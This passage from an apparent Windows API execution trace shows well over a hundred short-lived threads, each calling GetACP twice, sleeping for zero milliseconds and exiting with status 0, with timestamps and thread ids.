RtlExitUserThread (Status=0x0) Thread: id = 3305 os_tid = 0x2278 [0280.889] GetACP () returned 0x4e4 [0280.889] GetACP () returned 0x4e4 [0280.889] Sleep (dwMilliseconds=0x0) [0281.249] RtlExitUserThread (Status=0x0) Thread: id = 3306 os_tid = 0x227c [0280.889] GetACP () returned 0x4e4 [0280.889] GetACP () returned 0x4e4 [0280.889] Sleep (dwMilliseconds=0x0) [0281.250] RtlExitUserThread (Status=0x0) Thread: id = 3307 os_tid = 0x2284 [0281.251] GetACP () returned 0x4e4 [0281.251] GetACP () returned 0x4e4 [0281.251] Sleep (dwMilliseconds=0x0) [0281.573] RtlExitUserThread (Status=0x0) Thread: id = 3308 os_tid = 0x2288 [0281.252] GetACP () returned 0x4e4 [0281.252] GetACP () returned 0x4e4 [0281.252] Sleep (dwMilliseconds=0x0) [0281.574] RtlExitUserThread (Status=0x0) Thread: id = 3309 os_tid = 0x228c [0281.252] GetACP () returned 0x4e4 [0281.252] GetACP () returned 0x4e4 [0281.252] Sleep (dwMilliseconds=0x0) [0281.575] RtlExitUserThread (Status=0x0) Thread: id = 3310 os_tid = 0x2290 [0281.253] GetACP () returned 0x4e4 [0281.253] GetACP () returned 0x4e4 [0281.253] Sleep (dwMilliseconds=0x0) [0281.575] RtlExitUserThread (Status=0x0) Thread: id = 3311 os_tid = 0x2294 [0281.253] GetACP () returned 0x4e4 [0281.253] GetACP () returned 0x4e4 [0281.253] Sleep (dwMilliseconds=0x0) [0281.576] RtlExitUserThread (Status=0x0) Thread: id = 3312 os_tid = 0x2298 [0281.254] GetACP () returned 0x4e4 [0281.254] GetACP () returned 0x4e4 [0281.254] Sleep (dwMilliseconds=0x0) [0281.577] RtlExitUserThread (Status=0x0) Thread: id = 3313 os_tid = 0x229c [0281.254] GetACP () returned 0x4e4 [0281.254] GetACP () returned 0x4e4 [0281.254] Sleep (dwMilliseconds=0x0) [0281.577] RtlExitUserThread (Status=0x0) Thread: id = 3314 os_tid = 0x22a0 [0281.254] GetACP () returned 0x4e4 [0281.255] GetACP () returned 0x4e4 [0281.255] Sleep (dwMilliseconds=0x0) [0281.578] RtlExitUserThread (Status=0x0) Thread: id = 3315 os_tid = 0x22a4 [0281.255] GetACP () returned 0x4e4 [0281.255] GetACP () returned 0x4e4 [0281.255] Sleep (dwMilliseconds=0x0) [0281.579] RtlExitUserThread (Status=0x0) Thread: id = 3316 os_tid = 0x22f8 [0281.255] GetACP () returned 0x4e4 [0281.255] GetACP () returned 0x4e4 [0281.255] Sleep (dwMilliseconds=0x0) [0281.579] RtlExitUserThread (Status=0x0) Thread: id = 3317 os_tid = 0x22fc [0281.256] GetACP () returned 0x4e4 [0281.256] GetACP () returned 0x4e4 [0281.256] Sleep (dwMilliseconds=0x0) [0281.580] RtlExitUserThread (Status=0x0) Thread: id = 3318 os_tid = 0x2300 [0281.256] GetACP () returned 0x4e4 [0281.256] GetACP () returned 0x4e4 [0281.256] Sleep (dwMilliseconds=0x0) [0281.581] RtlExitUserThread (Status=0x0) Thread: id = 3319 os_tid = 0x2304 [0281.257] GetACP () returned 0x4e4 [0281.257] GetACP () returned 0x4e4 [0281.257] Sleep (dwMilliseconds=0x0) [0281.581] RtlExitUserThread (Status=0x0) Thread: id = 3320 os_tid = 0x2308 [0281.257] GetACP () returned 0x4e4 [0281.257] GetACP () returned 0x4e4 [0281.257] Sleep (dwMilliseconds=0x0) [0281.582] RtlExitUserThread (Status=0x0) Thread: id = 3321 os_tid = 0x230c [0281.258] GetACP () returned 0x4e4 [0281.258] GetACP () returned 0x4e4 [0281.258] Sleep (dwMilliseconds=0x0) [0281.582] RtlExitUserThread (Status=0x0) Thread: id = 3322 os_tid = 0x2310 [0281.258] GetACP () returned 0x4e4 [0281.258] GetACP () returned 0x4e4 [0281.258] Sleep (dwMilliseconds=0x0) [0281.583] RtlExitUserThread (Status=0x0) Thread: id = 3323 os_tid = 0x2314 [0281.259] GetACP () returned 0x4e4 [0281.259] GetACP () returned 0x4e4 [0281.259] Sleep (dwMilliseconds=0x0) [0281.584] RtlExitUserThread (Status=0x0) Thread: id = 3324 os_tid = 0x2318 [0281.259] GetACP () returned 0x4e4 [0281.259] GetACP () returned 0x4e4 [0281.259] Sleep (dwMilliseconds=0x0) [0281.584] RtlExitUserThread (Status=0x0) Thread: id = 3325 os_tid = 0x231c [0281.260] GetACP () returned 0x4e4 [0281.260] GetACP () returned 0x4e4 [0281.260] Sleep (dwMilliseconds=0x0) [0281.585] RtlExitUserThread (Status=0x0) Thread: id = 3326 os_tid = 0x2320 [0281.260] GetACP () returned 0x4e4 [0281.260] GetACP () returned 0x4e4 [0281.260] Sleep (dwMilliseconds=0x0) [0281.586] RtlExitUserThread (Status=0x0) Thread: id = 3327 os_tid = 0x2324 [0281.587] GetACP () returned 0x4e4 [0281.587] GetACP () returned 0x4e4 [0281.587] Sleep (dwMilliseconds=0x0) [0281.916] RtlExitUserThread (Status=0x0) Thread: id = 3328 os_tid = 0x2328 [0281.587] GetACP () returned 0x4e4 [0281.587] GetACP () returned 0x4e4 [0281.587] Sleep (dwMilliseconds=0x0) [0281.917] RtlExitUserThread (Status=0x0) Thread: id = 3329 os_tid = 0x232c [0281.587] GetACP () returned 0x4e4 [0281.587] GetACP () returned 0x4e4 [0281.588] Sleep (dwMilliseconds=0x0) [0281.917] RtlExitUserThread (Status=0x0) Thread: id = 3330 os_tid = 0x2330 [0281.588] GetACP () returned 0x4e4 [0281.588] GetACP () returned 0x4e4 [0281.588] Sleep (dwMilliseconds=0x0) [0281.918] RtlExitUserThread (Status=0x0) Thread: id = 3331 os_tid = 0x2334 [0281.588] GetACP () returned 0x4e4 [0281.588] GetACP () returned 0x4e4 [0281.588] Sleep (dwMilliseconds=0x0) [0281.919] RtlExitUserThread (Status=0x0) Thread: id = 3332 os_tid = 0x2338 [0281.589] GetACP () returned 0x4e4 [0281.589] GetACP () returned 0x4e4 [0281.589] Sleep (dwMilliseconds=0x0) [0281.919] RtlExitUserThread (Status=0x0) Thread: id = 3333 os_tid = 0x233c [0281.589] GetACP () returned 0x4e4 [0281.589] GetACP () returned 0x4e4 [0281.589] Sleep (dwMilliseconds=0x0) [0281.920] RtlExitUserThread (Status=0x0) Thread: id = 3334 os_tid = 0x2340 [0281.590] GetACP () returned 0x4e4 [0281.590] GetACP () returned 0x4e4 [0281.590] Sleep (dwMilliseconds=0x0) [0281.921] RtlExitUserThread (Status=0x0) Thread: id = 3335 os_tid = 0x2344 [0281.590] GetACP () returned 0x4e4 [0281.590] GetACP () returned 0x4e4 [0281.590] Sleep (dwMilliseconds=0x0) [0281.922] RtlExitUserThread (Status=0x0) Thread: id = 3336 os_tid = 0x2398 [0281.591] GetACP () returned 0x4e4 [0281.591] GetACP () returned 0x4e4 [0281.591] Sleep (dwMilliseconds=0x0) [0281.922] RtlExitUserThread (Status=0x0) Thread: id = 3337 os_tid = 0x239c [0281.591] GetACP () returned 0x4e4 [0281.591] GetACP () returned 0x4e4 [0281.591] Sleep (dwMilliseconds=0x0) [0281.923] RtlExitUserThread (Status=0x0) Thread: id = 3338 os_tid = 0x23a0 [0281.591] GetACP () returned 0x4e4 [0281.591] GetACP () returned 0x4e4 [0281.591] Sleep (dwMilliseconds=0x0) [0281.926] RtlExitUserThread (Status=0x0) Thread: id = 3339 os_tid = 0x23a4 [0281.592] GetACP () returned 0x4e4 [0281.592] GetACP () returned 0x4e4 [0281.592] Sleep (dwMilliseconds=0x0) [0281.927] RtlExitUserThread (Status=0x0) Thread: id = 3340 os_tid = 0x23a8 [0281.593] GetACP () returned 0x4e4 [0281.593] GetACP () returned 0x4e4 [0281.593] Sleep (dwMilliseconds=0x0) [0281.928] RtlExitUserThread (Status=0x0) Thread: id = 3341 os_tid = 0x23ac [0281.593] GetACP () returned 0x4e4 [0281.593] GetACP () returned 0x4e4 [0281.593] Sleep (dwMilliseconds=0x0) [0281.928] RtlExitUserThread (Status=0x0) Thread: id = 3342 os_tid = 0x23b0 [0281.593] GetACP () returned 0x4e4 [0281.593] GetACP () returned 0x4e4 [0281.594] Sleep (dwMilliseconds=0x0) [0281.929] RtlExitUserThread (Status=0x0) Thread: id = 3343 os_tid = 0x23b4 [0281.594] GetACP () returned 0x4e4 [0281.594] GetACP () returned 0x4e4 [0281.594] Sleep (dwMilliseconds=0x0) [0281.930] RtlExitUserThread (Status=0x0) Thread: id = 3344 os_tid = 0x23b8 [0281.595] GetACP () returned 0x4e4 [0281.595] GetACP () returned 0x4e4 [0281.595] Sleep (dwMilliseconds=0x0) [0281.930] RtlExitUserThread (Status=0x0) Thread: id = 3345 os_tid = 0x23bc [0281.595] GetACP () returned 0x4e4 [0281.595] GetACP () returned 0x4e4 [0281.595] Sleep (dwMilliseconds=0x0) [0281.931] RtlExitUserThread (Status=0x0) Thread: id = 3346 os_tid = 0x23c0 [0281.596] GetACP () returned 0x4e4 [0281.596] GetACP () returned 0x4e4 [0281.596] Sleep (dwMilliseconds=0x0) [0281.932] RtlExitUserThread (Status=0x0) Thread: id = 3347 os_tid = 0x23d0 [0281.933] GetACP () returned 0x4e4 [0281.933] GetACP () returned 0x4e4 [0281.933] Sleep (dwMilliseconds=0x0) [0282.199] RtlExitUserThread (Status=0x0) Thread: id = 3348 os_tid = 0x23d4 [0281.934] GetACP () returned 0x4e4 [0281.934] GetACP () returned 0x4e4 [0281.934] Sleep (dwMilliseconds=0x0) [0282.200] RtlExitUserThread (Status=0x0) Thread: id = 3349 os_tid = 0x23d8 [0281.934] GetACP () returned 0x4e4 [0281.934] GetACP () returned 0x4e4 [0281.934] Sleep (dwMilliseconds=0x0) [0282.201] RtlExitUserThread (Status=0x0) Thread: id = 3350 os_tid = 0x23dc [0281.935] GetACP () returned 0x4e4 [0281.935] GetACP () returned 0x4e4 [0281.935] Sleep (dwMilliseconds=0x0) [0282.208] RtlExitUserThread (Status=0x0) Thread: id = 3351 os_tid = 0x23e0 [0281.935] GetACP () returned 0x4e4 [0281.935] GetACP () returned 0x4e4 [0281.935] Sleep (dwMilliseconds=0x0) [0282.209] RtlExitUserThread (Status=0x0) Thread: id = 3352 os_tid = 0x23e4 [0281.936] GetACP () returned 0x4e4 [0281.936] GetACP () returned 0x4e4 [0281.936] Sleep (dwMilliseconds=0x0) [0282.209] RtlExitUserThread (Status=0x0) Thread: id = 3353 os_tid = 0x242c [0281.937] GetACP () returned 0x4e4 [0281.937] GetACP () returned 0x4e4 [0281.937] Sleep (dwMilliseconds=0x0) [0282.210] RtlExitUserThread (Status=0x0) Thread: id = 3354 os_tid = 0x2430 [0281.937] GetACP () returned 0x4e4 [0281.937] GetACP () returned 0x4e4 [0281.937] Sleep (dwMilliseconds=0x0) [0282.211] RtlExitUserThread (Status=0x0) Thread: id = 3355 os_tid = 0x2434 [0281.938] GetACP () returned 0x4e4 [0281.938] GetACP () returned 0x4e4 [0281.938] Sleep (dwMilliseconds=0x0) [0282.212] RtlExitUserThread (Status=0x0) Thread: id = 3356 os_tid = 0x2438 [0281.938] GetACP () returned 0x4e4 [0281.938] GetACP () returned 0x4e4 [0281.938] Sleep (dwMilliseconds=0x0) [0282.212] RtlExitUserThread (Status=0x0) Thread: id = 3357 os_tid = 0x243c [0281.939] GetACP () returned 0x4e4 [0281.939] GetACP () returned 0x4e4 [0281.939] Sleep (dwMilliseconds=0x0) [0282.213] RtlExitUserThread (Status=0x0) Thread: id = 3358 os_tid = 0x2440 [0281.939] GetACP () returned 0x4e4 [0281.939] GetACP () returned 0x4e4 [0281.939] Sleep (dwMilliseconds=0x0) [0282.214] RtlExitUserThread (Status=0x0) Thread: id = 3359 os_tid = 0x2444 [0281.940] GetACP () returned 0x4e4 [0281.940] GetACP () returned 0x4e4 [0281.940] Sleep (dwMilliseconds=0x0) [0282.214] RtlExitUserThread (Status=0x0) Thread: id = 3360 os_tid = 0x2448 [0281.940] GetACP () returned 0x4e4 [0281.940] GetACP () returned 0x4e4 [0281.940] Sleep (dwMilliseconds=0x0) [0282.215] RtlExitUserThread (Status=0x0) Thread: id = 3361 os_tid = 0x244c [0281.941] GetACP () returned 0x4e4 [0281.941] GetACP () returned 0x4e4 [0281.941] Sleep (dwMilliseconds=0x0) [0282.216] RtlExitUserThread (Status=0x0) Thread: id = 3362 os_tid = 0x2450 [0281.941] GetACP () returned 0x4e4 [0281.941] GetACP () returned 0x4e4 [0281.941] Sleep (dwMilliseconds=0x0) [0282.217] RtlExitUserThread (Status=0x0) Thread: id = 3363 os_tid = 0x2454 [0281.942] GetACP () returned 0x4e4 [0281.942] GetACP () returned 0x4e4 [0281.942] Sleep (dwMilliseconds=0x0) [0282.218] RtlExitUserThread (Status=0x0) Thread: id = 3364 os_tid = 0x2458 [0281.942] GetACP () returned 0x4e4 [0281.942] GetACP () returned 0x4e4 [0281.942] Sleep (dwMilliseconds=0x0) [0282.218] RtlExitUserThread (Status=0x0) Thread: id = 3365 os_tid = 0x245c [0281.943] GetACP () returned 0x4e4 [0281.943] GetACP () returned 0x4e4 [0281.943] Sleep (dwMilliseconds=0x0) [0282.219] RtlExitUserThread (Status=0x0) Thread: id = 3366 os_tid = 0x2460 [0281.943] GetACP () returned 0x4e4 [0281.943] GetACP () returned 0x4e4 [0281.943] Sleep (dwMilliseconds=0x0) [0282.220] RtlExitUserThread (Status=0x0) Thread: id = 3367 os_tid = 0x2468 [0282.221] GetACP () returned 0x4e4 [0282.221] GetACP () returned 0x4e4 [0282.221] Sleep (dwMilliseconds=0x0) [0282.493] RtlExitUserThread (Status=0x0) Thread: id = 3368 os_tid = 0x246c [0282.221] GetACP () returned 0x4e4 [0282.221] GetACP () returned 0x4e4 [0282.221] Sleep (dwMilliseconds=0x0) [0282.494] RtlExitUserThread (Status=0x0) Thread: id = 3369 os_tid = 0x2470 [0282.222] GetACP () returned 0x4e4 [0282.222] GetACP () returned 0x4e4 [0282.222] Sleep (dwMilliseconds=0x0) [0282.494] RtlExitUserThread (Status=0x0) Thread: id = 3370 os_tid = 0x2474 [0282.222] GetACP () returned 0x4e4 [0282.222] GetACP () returned 0x4e4 [0282.222] Sleep (dwMilliseconds=0x0) [0282.495] RtlExitUserThread (Status=0x0) Thread: id = 3371 os_tid = 0x2478 [0282.222] GetACP () returned 0x4e4 [0282.222] GetACP () returned 0x4e4 [0282.222] Sleep (dwMilliseconds=0x0) [0282.496] RtlExitUserThread (Status=0x0) Thread: id = 3372 os_tid = 0x24cc [0282.223] GetACP () returned 0x4e4 [0282.223] GetACP () returned 0x4e4 [0282.223] Sleep (dwMilliseconds=0x0) [0282.496] RtlExitUserThread (Status=0x0) Thread: id = 3373 os_tid = 0x24d0 [0282.223] GetACP () returned 0x4e4 [0282.223] GetACP () returned 0x4e4 [0282.223] Sleep (dwMilliseconds=0x0) [0282.497] RtlExitUserThread (Status=0x0) Thread: id = 3374 os_tid = 0x24d4 [0282.224] GetACP () returned 0x4e4 [0282.224] GetACP () returned 0x4e4 [0282.224] Sleep (dwMilliseconds=0x0) [0282.498] RtlExitUserThread (Status=0x0) Thread: id = 3375 os_tid = 0x24d8 [0282.224] GetACP () returned 0x4e4 [0282.224] GetACP () returned 0x4e4 [0282.224] Sleep (dwMilliseconds=0x0) [0282.498] RtlExitUserThread (Status=0x0) Thread: id = 3376 os_tid = 0x24dc [0282.225] GetACP () returned 0x4e4 [0282.225] GetACP () returned 0x4e4 [0282.225] Sleep (dwMilliseconds=0x0) [0282.499] RtlExitUserThread (Status=0x0) Thread: id = 3377 os_tid = 0x24e0 [0282.225] GetACP () returned 0x4e4 [0282.225] GetACP () returned 0x4e4 [0282.225] Sleep (dwMilliseconds=0x0) [0282.500] RtlExitUserThread (Status=0x0) Thread: id = 3378 os_tid = 0x24e4 [0282.226] GetACP () returned 0x4e4 [0282.226] GetACP () returned 0x4e4 [0282.226] Sleep (dwMilliseconds=0x0) [0282.500] RtlExitUserThread (Status=0x0) Thread: id = 3379 os_tid = 0x24e8 [0282.226] GetACP () returned 0x4e4 [0282.226] GetACP () returned 0x4e4 [0282.226] Sleep (dwMilliseconds=0x0) [0282.501] RtlExitUserThread (Status=0x0) Thread: id = 3380 os_tid = 0x24ec [0282.227] GetACP () returned 0x4e4 [0282.227] GetACP () returned 0x4e4 [0282.227] Sleep (dwMilliseconds=0x0) [0282.501] RtlExitUserThread (Status=0x0) Thread: id = 3381 os_tid = 0x24f0 [0282.227] GetACP () returned 0x4e4 [0282.227] GetACP () returned 0x4e4 [0282.227] Sleep (dwMilliseconds=0x0) [0282.502] RtlExitUserThread (Status=0x0) Thread: id = 3382 os_tid = 0x24f4 [0282.227] GetACP () returned 0x4e4 [0282.227] GetACP () returned 0x4e4 [0282.227] Sleep (dwMilliseconds=0x0) [0282.502] RtlExitUserThread (Status=0x0) Thread: id = 3383 os_tid = 0x24f8 [0282.228] GetACP () returned 0x4e4 [0282.228] GetACP () returned 0x4e4 [0282.228] Sleep (dwMilliseconds=0x0) [0282.503] RtlExitUserThread (Status=0x0) Thread: id = 3384 os_tid = 0x24fc [0282.228] GetACP () returned 0x4e4 [0282.228] GetACP () returned 0x4e4 [0282.228] Sleep (dwMilliseconds=0x0) [0282.504] RtlExitUserThread (Status=0x0) Thread: id = 3385 os_tid = 0x2500 [0282.228] GetACP () returned 0x4e4 [0282.228] GetACP () returned 0x4e4 [0282.229] Sleep (dwMilliseconds=0x0) [0282.504] RtlExitUserThread (Status=0x0) Thread: id = 3386 os_tid = 0x2504 [0282.229] GetACP () returned 0x4e4 [0282.229] GetACP () returned 0x4e4 [0282.229] Sleep (dwMilliseconds=0x0) [0282.505] RtlExitUserThread (Status=0x0) Thread: id = 3387 os_tid = 0x250c [0282.506] GetACP () returned 0x4e4 [0282.506] GetACP () returned 0x4e4 [0282.506] Sleep (dwMilliseconds=0x0) [0282.679] RtlExitUserThread (Status=0x0) Thread: id = 3388 os_tid = 0x2510 [0282.507] GetACP () returned 0x4e4 [0282.507] GetACP () returned 0x4e4 [0282.507] Sleep (dwMilliseconds=0x0) [0282.680] RtlExitUserThread (Status=0x0) Thread: id = 3389 os_tid = 0x2514 [0282.507] GetACP () returned 0x4e4 [0282.507] GetACP () returned 0x4e4 [0282.507] Sleep (dwMilliseconds=0x0) [0282.681] RtlExitUserThread (Status=0x0) Thread: id = 3390 os_tid = 0x2518 [0282.507] GetACP () returned 0x4e4 [0282.507] GetACP () returned 0x4e4 [0282.508] Sleep (dwMilliseconds=0x0) [0282.681] RtlExitUserThread (Status=0x0) Thread: id = 3391 os_tid = 0x256c [0282.508] GetACP () returned 0x4e4 [0282.508] GetACP () returned 0x4e4 [0282.508] Sleep (dwMilliseconds=0x0) [0282.682] RtlExitUserThread (Status=0x0) Thread: id = 3392 os_tid = 0x2570 [0282.508] GetACP () returned 0x4e4 [0282.508] GetACP () returned 0x4e4 [0282.508] Sleep (dwMilliseconds=0x0) [0282.683] RtlExitUserThread (Status=0x0) Thread: id = 3393 os_tid = 0x2574 [0282.509] GetACP () returned 0x4e4 [0282.509] GetACP () returned 0x4e4 [0282.509] Sleep (dwMilliseconds=0x0) [0282.684] RtlExitUserThread (Status=0x0) Thread: id = 3394 os_tid = 0x2578 [0282.528] GetACP () returned 0x4e4 [0282.528] GetACP () returned 0x4e4 [0282.528] Sleep (dwMilliseconds=0x0) [0282.723] RtlExitUserThread (Status=0x0) Thread: id = 3395 os_tid = 0x257c [0282.529] GetACP () returned 0x4e4 [0282.529] GetACP () returned 0x4e4 [0282.529] Sleep (dwMilliseconds=0x0) [0282.723] RtlExitUserThread (Status=0x0) Thread: id = 3396 os_tid = 0x2580 [0282.529] GetACP () returned 0x4e4 [0282.529] GetACP () returned 0x4e4 [0282.529] Sleep (dwMilliseconds=0x0) [0282.724] RtlExitUserThread (Status=0x0) Thread: id = 3397 os_tid = 0x2584 [0282.529] GetACP () returned 0x4e4 [0282.529] GetACP () returned 0x4e4 [0282.529] Sleep (dwMilliseconds=0x0) [0282.724] RtlExitUserThread (Status=0x0) Thread: id = 3398 os_tid = 0x2588 [0282.530] GetACP () returned 0x4e4 [0282.530] GetACP () returned 0x4e4 [0282.530] Sleep (dwMilliseconds=0x0) [0282.725] RtlExitUserThread (Status=0x0) Thread: id = 3399 os_tid = 0x258c [0282.530] GetACP () returned 0x4e4 [0282.530] GetACP () returned 0x4e4 [0282.530] Sleep (dwMilliseconds=0x0) [0282.726] RtlExitUserThread (Status=0x0) Thread: id = 3400 os_tid = 0x2590 [0282.531] GetACP () returned 0x4e4 [0282.531] GetACP () returned 0x4e4 [0282.531] Sleep (dwMilliseconds=0x0) [0282.726] RtlExitUserThread (Status=0x0) Thread: id = 3401 os_tid = 0x2594 [0282.531] GetACP () returned 0x4e4 [0282.531] GetACP () returned 0x4e4 [0282.531] Sleep (dwMilliseconds=0x0) [0282.727] RtlExitUserThread (Status=0x0) Thread: id = 3402 os_tid = 0x2598 [0282.531] GetACP () returned 0x4e4 [0282.531] GetACP () returned 0x4e4 [0282.531] Sleep (dwMilliseconds=0x0) [0282.727] RtlExitUserThread (Status=0x0) Thread: id = 3403 os_tid = 0x259c [0282.532] GetACP () returned 0x4e4 [0282.532] GetACP () returned 0x4e4 [0282.532] Sleep (dwMilliseconds=0x0) [0282.728] RtlExitUserThread (Status=0x0) Thread: id = 3404 os_tid = 0x25a0 [0282.532] GetACP () returned 0x4e4 [0282.532] GetACP () returned 0x4e4 [0282.532] Sleep (dwMilliseconds=0x0) [0282.728] RtlExitUserThread (Status=0x0) Thread: id = 3405 os_tid = 0x25a4 [0282.532] GetACP () returned 0x4e4 [0282.532] GetACP () returned 0x4e4 [0282.532] Sleep (dwMilliseconds=0x0) [0282.729] RtlExitUserThread (Status=0x0) Thread: id = 3406 os_tid = 0x25a8 [0282.533] GetACP () returned 0x4e4 [0282.533] GetACP () returned 0x4e4 [0282.533] Sleep (dwMilliseconds=0x0) [0282.730] RtlExitUserThread (Status=0x0) Thread: id = 3407 os_tid = 0x25b0 [0282.748] GetACP () returned 0x4e4 [0282.748] GetACP () returned 0x4e4 [0282.748] Sleep (dwMilliseconds=0x0) [0282.837] RtlExitUserThread (Status=0x0) Thread: id = 3408 os_tid = 0x25b4 [0282.749] GetACP () returned 0x4e4 [0282.749] GetACP () returned 0x4e4 [0282.749] Sleep (dwMilliseconds=0x0) [0282.837] RtlExitUserThread (Status=0x0) Thread: id = 3409 os_tid = 0x25b8 [0282.749] GetACP () returned 0x4e4 [0282.749] GetACP () returned 0x4e4 [0282.749] Sleep (dwMilliseconds=0x0) [0282.838] RtlExitUserThread (Status=0x0) Thread: id = 3410 os_tid = 0x260c [0282.750] GetACP () returned 0x4e4 [0282.750] GetACP () returned 0x4e4 [0282.750] Sleep (dwMilliseconds=0x0) [0282.838] RtlExitUserThread (Status=0x0) Thread: id = 3411 os_tid = 0x2610 [0282.750] GetACP () returned 0x4e4 [0282.750] GetACP () returned 0x4e4 [0282.750] Sleep (dwMilliseconds=0x0) [0282.839] RtlExitUserThread (Status=0x0) Thread: id = 3412 os_tid = 0x2614 [0282.750] GetACP () returned 0x4e4 [0282.750] GetACP () returned 0x4e4 [0282.750] Sleep (dwMilliseconds=0x0) [0282.839] RtlExitUserThread (Status=0x0) Thread: id = 3413 os_tid = 0x2618 [0282.751] GetACP () returned 0x4e4 [0282.751] GetACP () returned 0x4e4 [0282.751] Sleep (dwMilliseconds=0x0) [0282.840] RtlExitUserThread (Status=0x0) Thread: id = 3414 os_tid = 0x261c [0282.751] GetACP () returned 0x4e4 [0282.751] GetACP () returned 0x4e4 [0282.751] Sleep (dwMilliseconds=0x0) [0282.840] RtlExitUserThread (Status=0x0) Thread: id = 3415 os_tid = 0x2620 [0282.751] GetACP () returned 0x4e4 [0282.751] GetACP () returned 0x4e4 [0282.751] Sleep (dwMilliseconds=0x0) [0282.841] RtlExitUserThread (Status=0x0) Thread: id = 3416 os_tid = 0x2624 [0282.752] GetACP () returned 0x4e4 [0282.752] GetACP () returned 0x4e4 [0282.752] Sleep (dwMilliseconds=0x0) [0282.841] RtlExitUserThread (Status=0x0) Thread: id = 3417 os_tid = 0x2628 [0282.752] GetACP () returned 0x4e4 [0282.752] GetACP () returned 0x4e4 [0282.752] Sleep (dwMilliseconds=0x0) [0282.842] RtlExitUserThread (Status=0x0) Thread: id = 3418 os_tid = 0x262c [0282.752] GetACP () returned 0x4e4 [0282.752] GetACP () returned 0x4e4 [0282.752] Sleep (dwMilliseconds=0x0) [0282.842] RtlExitUserThread (Status=0x0) Thread: id = 3419 os_tid = 0x2630 [0282.753] GetACP () returned 0x4e4 [0282.753] GetACP () returned 0x4e4 [0282.753] Sleep (dwMilliseconds=0x0) [0282.843] RtlExitUserThread (Status=0x0) Thread: id = 3420 os_tid = 0x2634 [0282.753] GetACP () returned 0x4e4 [0282.753] GetACP () returned 0x4e4 [0282.753] Sleep (dwMilliseconds=0x0) [0282.843] RtlExitUserThread (Status=0x0) Thread: id = 3421 os_tid = 0x2638 [0282.754] GetACP () returned 0x4e4 [0282.754] GetACP () returned 0x4e4 [0282.754] Sleep (dwMilliseconds=0x0) [0282.844] RtlExitUserThread (Status=0x0) Thread: id = 3422 os_tid = 0x263c [0282.754] GetACP () returned 0x4e4 [0282.754] GetACP () returned 0x4e4 [0282.754] Sleep (dwMilliseconds=0x0) [0282.845] RtlExitUserThread (Status=0x0) Thread: id = 3423 os_tid = 0x2640 [0282.755] GetACP () returned 0x4e4 [0282.755] GetACP () returned 0x4e4 [0282.755] Sleep (dwMilliseconds=0x0) [0282.845] RtlExitUserThread (Status=0x0) Thread: id = 3424 os_tid = 0x2644 [0282.755] GetACP () returned 0x4e4 [0282.755] GetACP () returned 0x4e4 [0282.755] Sleep (dwMilliseconds=0x0) [0282.846] RtlExitUserThread (Status=0x0) Thread: id = 3425 os_tid = 0x2648 [0282.755] GetACP () returned 0x4e4 [0282.755] GetACP () returned 0x4e4 [0282.755] Sleep (dwMilliseconds=0x0) [0282.846] RtlExitUserThread (Status=0x0) Thread: id = 3426 os_tid = 0x264c [0282.756] GetACP () returned 0x4e4 [0282.756] GetACP () returned 0x4e4 [0282.756] Sleep (dwMilliseconds=0x0) [0282.847] RtlExitUserThread (Status=0x0) Thread: id = 3427 os_tid = 0x2650 [0282.848] GetACP () returned 0x4e4 [0282.848] GetACP () returned 0x4e4 [0282.848] Sleep (dwMilliseconds=0x0) [0282.981] RtlExitUserThread (Status=0x0) Thread: id = 3428 os_tid = 0x2654 [0282.848] GetACP () returned 0x4e4 [0282.848] GetACP () returned 0x4e4 [0282.848] Sleep (dwMilliseconds=0x0) [0282.982] RtlExitUserThread (Status=0x0) Thread: id = 3429 os_tid = 0x2658 [0282.849] GetACP () returned 0x4e4 [0282.849] GetACP () returned 0x4e4 [0282.849] Sleep (dwMilliseconds=0x0) [0282.983] RtlExitUserThread (Status=0x0) Thread: id = 3430 os_tid = 0xdc0 [0282.849] GetACP () returned 0x4e4 [0282.849] GetACP () returned 0x4e4 [0282.849] Sleep (dwMilliseconds=0x0) [0282.983] RtlExitUserThread (Status=0x0) Thread: id = 3431 os_tid = 0x26b4 [0282.850] GetACP () returned 0x4e4 [0282.850] GetACP () returned 0x4e4 [0282.850] Sleep (dwMilliseconds=0x0) [0282.984] RtlExitUserThread (Status=0x0) Thread: id = 3432 os_tid = 0xdbc [0282.851] GetACP () returned 0x4e4 [0282.851] GetACP () returned 0x4e4 [0282.851] Sleep (dwMilliseconds=0x0) [0282.985] RtlExitUserThread (Status=0x0) Thread: id = 3433 os_tid = 0x620 [0282.851] GetACP () returned 0x4e4 [0282.851] GetACP () returned 0x4e4 [0282.851] Sleep (dwMilliseconds=0x0) [0282.985] RtlExitUserThread (Status=0x0) Thread: id = 3434 os_tid = 0x9ec [0282.851] GetACP () returned 0x4e4 [0282.851] GetACP () returned 0x4e4 [0282.851] Sleep (dwMilliseconds=0x0) [0282.986] RtlExitUserThread (Status=0x0) Thread: id = 3435 os_tid = 0xbdc [0282.852] GetACP () returned 0x4e4 [0282.852] GetACP () returned 0x4e4 [0282.852] Sleep (dwMilliseconds=0x0) [0282.986] RtlExitUserThread (Status=0x0) Thread: id = 3436 os_tid = 0x680 [0282.852] GetACP () returned 0x4e4 [0282.852] GetACP () returned 0x4e4 [0282.852] Sleep (dwMilliseconds=0x0) [0282.987] RtlExitUserThread (Status=0x0) Thread: id = 3437 os_tid = 0xf0 [0282.853] GetACP () returned 0x4e4 [0282.853] GetACP () returned 0x4e4 [0282.853] Sleep (dwMilliseconds=0x0) [0282.987] RtlExitUserThread (Status=0x0) Thread: id = 3438 os_tid = 0xf4 [0282.853] GetACP () returned 0x4e4 [0282.853] GetACP () returned 0x4e4 [0282.853] Sleep (dwMilliseconds=0x0) [0282.988] RtlExitUserThread (Status=0x0) Thread: id = 3439 os_tid = 0x6a0 [0282.853] GetACP () returned 0x4e4 [0282.853] GetACP () returned 0x4e4 [0282.853] Sleep (dwMilliseconds=0x0) [0282.988] RtlExitUserThread (Status=0x0) Thread: id = 3440 os_tid = 0x740 [0282.854] GetACP () returned 0x4e4 [0282.854] GetACP () returned 0x4e4 [0282.854] Sleep (dwMilliseconds=0x0) [0282.989] RtlExitUserThread (Status=0x0) Thread: id = 3441 os_tid = 0xd70 [0282.854] GetACP () returned 0x4e4 [0282.854] GetACP () returned 0x4e4 [0282.854] Sleep (dwMilliseconds=0x0) [0282.990] RtlExitUserThread (Status=0x0) Thread: id = 3442 os_tid = 0xa34 [0282.855] GetACP () returned 0x4e4 [0282.855] GetACP () returned 0x4e4 [0282.855] Sleep (dwMilliseconds=0x0) [0282.990] RtlExitUserThread (Status=0x0) Thread: id = 3443 os_tid = 0x9e8 [0282.855] GetACP () returned 0x4e4 [0282.855] GetACP () returned 0x4e4 [0282.855] 